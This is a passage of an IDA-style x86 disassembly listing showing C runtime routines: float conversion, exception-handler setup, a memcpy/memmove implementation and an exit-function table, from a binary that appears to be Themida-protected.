push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_41C73C: ; CODE XREF: sub_41C679+84j
call sub_421014
add esp, 1Ch
loc_41C744: ; CODE XREF: sub_41C679+59j
; sub_41C679+67j ...
pop esi
pop ebx
leave
retn
sub_41C679 endp
; =============== S U B R O U T I N E =======================================
sub_41C748 proc near ; CODE XREF: ___:0041B78Dp
; sub_4218B2+21p
; DATA XREF: ...
call sub_41C760
call sub_4218B2
mov dword_4DB2CC, eax
call sub_421862
fnclex
retn
sub_41C748 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41C760 proc near ; CODE XREF: sub_41C748p
mov eax, offset sub_421CA0
mov off_43C8A4, offset sub_421935
mov off_43C8A0, eax
mov off_43C8A8, offset sub_42199B
mov off_43C8AC, offset sub_4218DB
mov off_43C8B0, offset sub_421983
mov off_43C8B4, eax
retn
sub_41C760 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C798 proc near ; CODE XREF: sub_40D030+1Bp
; sub_40D030+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
loc_41C7B4: ; DATA XREF: Themida_:005733C8o
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_41C798 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C7BF(double)
sub_41C7BF proc near ; CODE XREF: sub_40D07C+82p
; ___:0040DD3Cp
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43A2A8
call sub_4217E9
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41C845
call sub_4216B1
pop ecx
test eax, eax
pop ecx
jle short loc_41C828
cmp eax, 2
jle short loc_41C81A
cmp eax, 3
jnz short loc_41C828
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_420FC1
add esp, 10h
jmp short loc_41C88A
; ---------------------------------------------------------------------------
loc_41C81A: ; CODE XREF: sub_41C7BF+3Fj
push esi
push ebx
call sub_4217E9
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41C88A
; ---------------------------------------------------------------------------
loc_41C828: ; CODE XREF: sub_41C7BF+3Aj
; sub_41C7BF+44j
fld [ebp+arg_0]
fadd dbl_427718
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_41C882
; ---------------------------------------------------------------------------
loc_41C845: ; CODE XREF: sub_41C7BF+2Fj
call sub_421676
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41C868
loc_41C85A: ; CODE XREF: sub_41C7BF+ACj
push esi
push ebx
call sub_4217E9
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41C88A
; ---------------------------------------------------------------------------
loc_41C868: ; CODE XREF: sub_41C7BF+99j
test bl, 20h
jnz short loc_41C85A
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_41C882: ; CODE XREF: sub_41C7BF+84j
call sub_421014
add esp, 1Ch
loc_41C88A: ; CODE XREF: sub_41C7BF+59j
; sub_41C7BF+67j ...
pop esi
pop ebx
leave
retn
sub_41C7BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C88E proc near ; CODE XREF: ___:00422182p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_41C88E endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_41C8C2 proc near ; CODE XREF: sub_4222C2+199p
; sub_422486+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41C8C2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41C8C9 proc near ; CODE XREF: sub_4222C2+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41C8C9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41C8D0 proc near ; CODE XREF: sub_41CA82+5Cp
; sub_422111:loc_422142p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_41C8F8
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_42675C
sub_41C8D0 endp
; ---------------------------------------------------------------------------
loc_41C8F8: ; DATA XREF: sub_41C8D0+11o
mov eax, [ebp+0Ch]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+0Ch]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp-8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
; ---------------------------------------------------------------------------
loc_41C91F: ; CODE XREF: ___:00426DFCj
; ___:00426E19j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_421D16
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C955 proc near ; CODE XREF: sub_42218C+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_41C9A9
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_422510
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_41C955 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C9A9 proc near ; DATA XREF: sub_41C955+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_421D16
add esp, 20h
pop ebp
retn
sub_41C9A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C9CE proc near ; CODE XREF: sub_421F58+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_41CA82
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_41CA54
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_4DB324
pop ecx
pop ecx
and [ebp+var_34], 0
loc_41CA54: ; DATA XREF: sub_41C9CE+3Co
cmp [ebp+var_4], 0
jz short loc_41CA71
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_41CA7A
; ---------------------------------------------------------------------------
loc_41CA71: ; CODE XREF: sub_41C9CE+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_41CA7A: ; CODE XREF: sub_41C9CE+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_41C9CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CA82 proc near ; DATA XREF: sub_41C9CE+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_41CAA5
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_41CAF2
; ---------------------------------------------------------------------------
loc_41CAA5: ; CODE XREF: sub_41CA82+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_421D16
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_41CAE3
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41C8D0
; ---------------------------------------------------------------------------
loc_41CAE3: ; CODE XREF: sub_41CA82+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_41CAF2: ; CODE XREF: sub_41CA82+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41CA82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CAF7 proc near ; CODE XREF: sub_421DB1+C6p
; sub_421F58+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_41CB4E
loc_41CB15: ; CODE XREF: sub_41CAF7+52j
cmp esi, 0FFFFFFFFh
jnz short loc_41CB1F
call sub_4225B2
loc_41CB1F: ; CODE XREF: sub_41CAF7+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_41CB34
cmp ecx, [eax+8]
jle short loc_41CB39
loc_41CB34: ; CODE XREF: sub_41CAF7+36j
cmp esi, 0FFFFFFFFh
jnz short loc_41CB45
loc_41CB39: ; CODE XREF: sub_41CAF7+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_41CB45: ; CODE XREF: sub_41CAF7+40j
cmp [ebp+arg_4], 0
jge short loc_41CB15
mov eax, [ebp+var_4]
loc_41CB4E: ; CODE XREF: sub_41CAF7+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_41CB62
cmp esi, eax
jbe short loc_41CB67
loc_41CB62: ; CODE XREF: sub_41CAF7+65j
call sub_4225B2
loc_41CB67: ; CODE XREF: sub_41CAF7+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_41CAF7 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41CB74 proc near ; CODE XREF: sub_4234B8+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset sub_41CB8C
push [ebp+arg_0]
call sub_42675C
sub_41CB74 endp
; =============== S U B R O U T I N E =======================================
sub_41CB8C proc near ; DATA XREF: sub_41CB74+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41CB8C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41CB94 proc near ; DATA XREF: sub_41CBB6+Ao
; sub_41CC1E+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_41CBB5
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_41CBB5: ; CODE XREF: sub_41CB94+10j
retn
sub_41CB94 endp
; =============== S U B R O U T I N E =======================================
sub_41CBB6 proc near ; CODE XREF: sub_422232+Dp
; sub_4234B8+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_41CB94
push large dword ptr fs:0
mov large fs:0, esp
loc_41CBD3: ; CODE XREF: sub_41CBB6:loc_41CC0Ej
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41CC10
cmp esi, [esp+1Ch+arg_4]
jz short loc_41CC10
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41CC0E
push 101h
mov eax, [ebx+esi*4+8]
call sub_41CC4A
call dword ptr [ebx+esi*4+8]
loc_41CC0E: ; CODE XREF: sub_41CBB6+44j
jmp short loc_41CBD3
; ---------------------------------------------------------------------------
loc_41CC10: ; CODE XREF: sub_41CBB6+2Aj
; sub_41CBB6+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_41CBB6 endp
; =============== S U B R O U T I N E =======================================
sub_41CC1E proc near ; CODE XREF: sub_422252+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_41CB94
jnz short locret_41CC40
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41CC40
mov eax, 1
locret_41CC40: ; CODE XREF: sub_41CC1E+10j
; sub_41CC1E+1Bj
retn
sub_41CC1E endp
; =============== S U B R O U T I N E =======================================
sub_41CC41 proc near ; CODE XREF: sub_422510+1Ep
; sub_422510+40p
push ebx
push ecx
mov ebx, offset dword_43A2AC
jmp short loc_41CC54
sub_41CC41 endp
; =============== S U B R O U T I N E =======================================
sub_41CC4A proc near ; CODE XREF: sub_41CBB6+4Fp
; sub_4234B8+78p
push ebx
push ecx
mov ebx, offset dword_43A2AC
mov ecx, [ebp+8]
loc_41CC54: ; CODE XREF: sub_41CC41+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_41CC4A endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_41CC64 proc near ; CODE XREF: sub_40D07C+5p
; sub_40D21E+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_41CC64 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41CC83 proc near ; CODE XREF: sub_40D6B3+26p
; ___:004264F2p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41B0B1
pop ecx
retn
sub_41CC83 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CC90 proc near ; CODE XREF: sub_40D724+3Ap
; sub_41DEA2+2EFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41CCB0
cmp edi, eax
jb loc_41CE28
loc_41CCB0: ; CODE XREF: sub_41CC90+16j
test edi, 3
jnz short loc_41CCCC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CCEC
rep movsd
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
loc_41CCCC: ; CODE XREF: sub_41CC90+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41CCE4
and eax, 3
add ecx, eax
jmp dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CCE4: ; CODE XREF: sub_41CC90+46j
jmp dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CCEC: ; CODE XREF: sub_41CC90+31j
; sub_41CC90+8Ej ...
jmp off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
db 90h
dd offset loc_41CD00
dd offset loc_41CD2C
dd offset loc_41CD50
; ---------------------------------------------------------------------------
loc_41CD00: ; DATA XREF: sub_41CC90+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41CCEC
rep movsd
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CD2C: ; DATA XREF: sub_41CC90+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41CCEC
rep movsd
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CD50: ; DATA XREF: sub_41CC90+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41CCEC
rep movsd
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CD6C dd offset loc_41CDCF ; DATA XREF: sub_41CC90:loc_41CCECr
dd offset loc_41CDBC
dd offset loc_41CDB4
dd offset loc_41CDAC
dd offset loc_41CDA4
dd offset loc_41CD9C
dd offset loc_41CD94
dd offset loc_41CD8C
; ---------------------------------------------------------------------------
loc_41CD8C: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41CD94: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41CD9C: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41CDA4: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41CDAC: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41CDB4: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41CDBC: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CDCF: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90:off_41CD6Co
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CDD8 dd offset loc_41CDE8 ; DATA XREF: sub_41CC90+35r
; sub_41CC90+92r ...
dd offset loc_41CDF0
dd offset loc_41CDFC
dd offset loc_41CE10
; ---------------------------------------------------------------------------
loc_41CDE8: ; CODE XREF: sub_41CC90+35j
; sub_41CC90+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CDF0: ; CODE XREF: sub_41CC90+35j
; sub_41CC90+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CDFC: ; CODE XREF: sub_41CC90+35j
; sub_41CC90+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CE10: ; CODE XREF: sub_41CC90+35j
; sub_41CC90+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CE28: ; CODE XREF: sub_41CC90+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41CE5C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CE50
std
rep movsd
cld
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CE50: ; CODE XREF: sub_41CC90+1B1j
; sub_41CC90+208j ...
neg ecx
jmp off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CE5C: ; CODE XREF: sub_41CC90+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41CE74
and eax, 3
sub ecx, eax
jmp dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CE74: ; CODE XREF: sub_41CC90+1D6j
; DATA XREF: sub_41CC90+1DDr
jmp off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CE87+1
dd offset loc_41CEA8
; ---------------------------------------------------------------------------
ror dh, 1
inc ecx
loc_41CE87: ; DATA XREF: sub_41CC90+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41CE50
std
rep movsd
cld
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CEA8: ; DATA XREF: sub_41CC90+1F0o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41CE50
std
rep movsd
cld
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41CE50
std
rep movsd
cld
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CF24
dd offset loc_41CF2C
dd offset loc_41CF34
dd offset loc_41CF3C
dd offset loc_41CF44
dd offset loc_41CF4C
dd offset loc_41CF54
off_41CF20 dd offset loc_41CF67 ; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------
loc_41CF24: ; DATA XREF: sub_41CC90+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41CF2C: ; DATA XREF: sub_41CC90+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41CF34: ; DATA XREF: sub_41CC90+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41CF3C: ; DATA XREF: sub_41CC90+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41CF44: ; DATA XREF: sub_41CC90+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41CF4C: ; DATA XREF: sub_41CC90+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41CF54: ; DATA XREF: sub_41CC90+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CF67: ; CODE XREF: sub_41CC90+1C2j
; DATA XREF: sub_41CC90:off_41CF20o
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41CF70 dd offset loc_41CF80 ; DATA XREF: sub_41CC90+1B7r
; sub_41CC90:loc_41CE74r ...
dd offset loc_41CF88
dd offset loc_41CF98
dd offset loc_41CFAC
; ---------------------------------------------------------------------------
loc_41CF80: ; CODE XREF: sub_41CC90+1B7j
; sub_41CC90:loc_41CE74j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CF88: ; CODE XREF: sub_41CC90+1B7j
; sub_41CC90:loc_41CE74j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CF98: ; CODE XREF: sub_41CC90+1B7j
; sub_41CC90:loc_41CE74j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CFAC: ; CODE XREF: sub_41CC90+1B7j
; sub_41CC90:loc_41CE74j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41CC90 endp
; =============== S U B R O U T I N E =======================================
sub_41CFC5 proc near ; CODE XREF: sub_40D78B+34p
; sub_40D78B+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_41B4E7
pop ecx
pop ecx
retn
sub_41CFC5 endp
; =============== S U B R O U T I N E =======================================
sub_41CFD3 proc near ; CODE XREF: sub_41D040+4p
arg_0 = dword ptr 4
push esi
push dword_4DC91C
call sub_422608
mov edx, dword_4DC91C
pop ecx
mov ecx, dword_4DC918
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_41D032
push edx
call sub_422608
add eax, 10h
push eax
push dword_4DC91C
call sub_41B202
add esp, 0Ch
test eax, eax
jnz short loc_41D015
retn
; ---------------------------------------------------------------------------
loc_41D015: ; CODE XREF: sub_41CFD3+3Fj
mov ecx, dword_4DC918
sub ecx, dword_4DC91C
mov dword_4DC91C, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_4DC918, ecx
loc_41D032: ; CODE XREF: sub_41CFD3+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_4DC918, 4
retn
sub_41CFD3 endp
; =============== S U B R O U T I N E =======================================
sub_41D040 proc near ; CODE XREF: sub_40D878+1Ap
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41CFD3
neg eax
sbb eax, eax
pop ecx
